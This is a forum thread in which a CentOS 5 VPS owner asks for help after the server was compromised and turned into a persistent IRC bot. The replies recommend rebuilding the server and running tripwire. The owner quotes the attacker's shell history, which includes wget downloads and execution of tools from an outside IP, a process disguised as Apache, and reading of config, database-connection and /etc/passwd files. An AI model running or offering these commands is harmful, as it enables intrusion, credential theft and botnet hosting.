Cybersecurity

Hi,

I want to ask something about server that has been compromised. Recently, one of my VPS server has been hacked and the attacker install somekind like "IRC" script.

Everytime I killed the process or close the port, it can open again .. and again ..I'm sure the attacker has installed something like a hidden script. I hv using tool like Rootkit Hunter and find each of the suspicious result.

It really makes me crazy and pain. How can he/she go into my server (as a root) even I have changed the root password.

OS: Centos 5.

Please help.

Hi,
There are some ways to enter a compromised system even if you have changed the root password. Probably the hacker has modified the system, so he can enter without being asked a password.
Your best bet to solve the problem is backup everything valuable and get a new server installed. The only way I know of investigating a compromised server that can lead anywhere is taking it offline to avoid more interference from the hacker.
Think that probably the hacker is inside your system and you could not detect it.
All the tools like rkhunter tell you to not relay only on them. And they are good for detection, but they don't serve for more than that.
Hope you get it solved
jmanel

@jmanel. Thank you very much for your nice guide.

Is there any possibility I can secure my VPS server without re-install ? Since it has many webhost domain in it and each has huge database for more than 5 years.

You are right, using RKHunter has no effect at all, except just giving any vulnerabilities information.

Today, I was trying again to clean my server from any malicious IRC script, such as:

- Closing port (113,6667,7000)
- Trace process and kill it
- Remove the IRC script files
- Lock any user account that has been compromised, also change my root password
- Give no shell access to all accounts, only root & mysql have /bin/bash
- Scan multiple times with RKHunter and ClamAV to make sure there's no left over malicious files & security hole
- Restrict SSH access to only from spesific IP Address and also disable Authentication Key
- Chmod all domain host directory to 700, set subdirectory to be 755, and only images folder has 777 file permissions. Other files only has 644 file permission.
- Update Centos 5 with yum, almost every day.

I did that procedures above all day long, but after several hours later, in my /root there appears again malicious IRC files with uid and gid 1000. It really makes me pain .. how can the attacker enter my server. I guess he did "rooting" my server.

Did the attacker exploit the /tmp or /dev. I dont know.

Please anyone, whoever expert in Linux security help me on this case.

Thank you.

If you have full-backups made, restore to a good one. Otherwise... how could you possibly trust it's not doing anything behind your back?

You should always run a cryptographic file system integrity checking system like tripwire on a daily basis.

Then, you could know what files have been compromised.

@Corona.
If it means about full backup of each domain in /home, no I didnt make any backup. Disk space is limited and no additional disk. Last option maybey I should request OS restore to the hosting provider(?).

I was doing deep analyze of this attack for several days, and I guess my server has been turned to be one of botnet in the internet for several months or maybey in a year.

One thing that makes me confuse. I have locked the domain account that might be has been compromised, after doing the procedures above, how can the attacker create multiple processes and open port 6667,7000 with that locked account name and established connection to xxx.IRC.dal.net?

@Neo.
Thanks for your suggestion. I'll learn about that tripwire technique.

But, do you have any idea about how the attacker compromised my server?


# Additional information.

Here I give part of command history left by the attacker in last days.

Code:

pwd
history
cd /data/PEAR
ls -al
rm -rf bahamut-1.8.9
wget http://193.180.115.30/~online/tools/bahamut-1.8.9-release.tar.gz ; 
tar -zxvf bahamut-1.8.9-release.tar.gz ; 
rm -f bahamut-1.8.9-release.$
ls -al //ircd/template.conf
mkdir ircd
pwd
cd ..
mkdir ircd
cd ircd
cp /ircd/* .
ls -al
ls -al /ircd
rm -rf /ircd
ls -al
exit
cd /data/PEAR/ircd
save
hostname ; /sbin/ifconfig | grep inet
pwd
pico ircd.conf
ls -al
wget http://193.180.115.30/~online/tools/xh ; chmod +x xh ; ls -alF xh
ps aux
./xh -s "/usr/local/apache/bin/httpd -k start -DSSL" ./ircd
cd ..
pwd
id
exit

And here the another part of command.

Code:

cd $home
ls -al
cd public_html
ls -al
cat config.php
cat dbcon.php
cat /etc/passwd
wget http://193.180.115.30/~online/ftp ; ls -alF ftp*
perl ftp
rm -f ftp ftp.txt
exit

I think the attacker seems to be a pro in Linux.

I think it is more important to determine what are your key apps on the server; then back them up if you think they are not compromised and rebuild the VPS server from scratch; and reinstall your app.

You should also make sure your file system is secure based on the apps that are running, and run a cryptographic file system management tool (tripwire or some other version of the same thing) immediately to get a baseline.

What you have failed to mention is the core production app that is running on the server. Is it a web server? A mail server? A database back end?

It is really not possible to help you if you are not specific about what is "core app" and what is "supporting files". The reason is that you need to rebuild your file system from scratch to be perfectly safe. However, there may be some files you need (database, web files) that are not compromised and you can just back them up, reinstall the system (the supporting file system) and then get the main act up and running.

But the exact strategy is based on what is the main core application running on the server.

Is is basically a web server?